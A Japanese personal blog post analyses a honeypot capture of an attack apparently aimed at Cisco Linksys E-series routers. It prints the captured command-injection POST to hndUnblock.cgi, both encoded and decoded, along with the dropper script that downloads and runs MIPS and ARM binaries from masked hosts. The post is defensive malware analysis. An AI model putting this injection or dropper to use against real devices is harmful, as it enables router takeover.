とりあえずブログ

SEとして働く会社員の雑多なブログ

Cisco Linksys E-seriesを狙ったような攻撃をキャッチ

CiscoのLinksys E-seriesを狙ったような攻撃をキャッチしたので、ご紹介します。

CiscoのLinksys E-seriesとは

f:id:tkm03:20180427213312j:plain

Ciscoから販売されている自宅用のワイヤレスルータのようです。

今回の攻撃

今回はこんな感じのリクエストがハニーポットに来ていました。

POST /hndUnblock.cgi HTTP/1.1
Accept: */*
Content-Length: 384
Content-Type: application/x-www-form-urlencoded
Host: XXX.XXX.XXX.XXX
User-Agent: Wget(linux)

submit_button=&change_action=&action=&commit=&ttcp_num=2&ttcp_size=2&ttcp_ip=-h `%63%64%20%2F%74%6D%70%3B%72%6D%20%2D%66%20%6E%6D%6C%74%31%2E%73%68%3B%77%67%65%74%20%2D%4F%20%6E%6D%6C%74%31%2E%7・・・`&StartEPI=1

hndUnblock.cgiに対して、POSTリクエストが投げられているので、Cisco Linksys E-seriesを狙ったアタックのように推測しています。(情報が少なかったので、間違っている可能性はあります。)

BODY部分がURLエンコードされているので、実際はどんな処理をされているのか、これを見ただけでは判断できないので、早速デコード処理をしてみたいと思います。

すると、

submit_button=&change_action=&action=&commit=&ttcp_num=2&ttcp_size=2&ttcp_ip=-h `cd /tmp;rm -f nmlt1.sh;wget -O nmlt1.sh http://XXXXXX/nmlt1.sh;chmod +x nmlt1.sh;./nmlt1.sh`&StartEPI=1

こんな感じになりました。

まず/tmpに移動して、そこでnmlt1.shをダウンロードし、実行権限を付与してから、実行するという処理になっています。

nmlt1.shは何者なのか調べてみたところ、下記のような内容になっていました。

#!/bin/sh

cd /tmp

ps | grep -v grep | grep .nttpd && exit 0

rm -f .nttpd
wget -O .nttpd http://XXXXXX/.nttpd,21-mips-le-t1
chmod +x .nttpd
./.nttpd && exit 0

rm -f .nttpd .nttpd-z
wget -O .nttpd-z http:/XXXXXX/.nttpd,21-arm-le-t1-z
chmod +x .nttpd-z
./.nttpd-z && exit 0

rm -f .nttpd .nttpd-z
wget -O .nttpd-z http://XXXXXX/.nttpd,21-mips-be-t2-z
chmod +x .nttpd-z
./.nttpd-z && exit 0

3つダウンロードファイルがあるのですが、それぞれダウンロードしてから実行して次のファイルをダウンロードして実行するという動きになっています。

それぞれのファイルが何かfileコマンドを使って調べて見たところ、どれも実行ファイルのようでした。 3つ目のダウンロードコマンドは2つ目のファイルを上書きするようなコマンドになりますが、それぞれサイズが違うので中身は違う実行ファイルのようでした。

-rw-rw-r-- 1 ubuntu ubuntu 50156 Nov 10 13:55 .nttpdh ←1つ目のファイル
-rw-rw-r-- 1 ubuntu ubuntu 37583 Nov 10 14:20 .nttpd-z←2つ目のファイル
-rw-rw-r-- 1 ubuntu ubuntu 44736 Nov 10 14:13 .nttpd-z←3つ目のファイル

1つ目のファイル

$ file .nttpd
.nttpd: ELF 32-bit LSB  executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked (uses shared libs), stripped
$ md5sum .nttpd
057d56b7de1e9460bd13c5c6eafd4559  .nttpd

2つ目のファイル

$ file .nttpd-z 
.nttpd-z: ELF 32-bit MSB  executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked (uses shared libs), stripped
$ md5sum .nttpd-z 
20f9f7ae0c6d385b0bedcdd618c478dc  .nttpd-z

3つ目のファイル

$ file .nttpd-z 
.nttpd-z: ELF 32-bit MSB  executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked (uses shared libs), stripped
$ md5sum .nttpd-z 
53494b8867654d06ea1b5aec0ed981c1  .nttpd-z

これらのファイルを実行するのは危険なので、stringsコマンドを使用して1つ目のファイル(.nttpd)の可読部分だけ確認してみたところ、一部下記のような記述が見受けられました。

INPUT -s XXX.XXX.XXX.0/24 -j ACCEPT
INPUT -s YYY.YYY.YYY.0/24 -j ACCEPT
INPUT -s ZZZ.ZZZ.ZZZ.0/24 -j ACCEPT

特定のIPアドレスから接続を許可するような設定を行うような記述と思われますので、上記のファイルが実行されてしまった場合は、これらのIPアドレスから操作を可能にするようなファイルと推定されます。

怖いですね。。。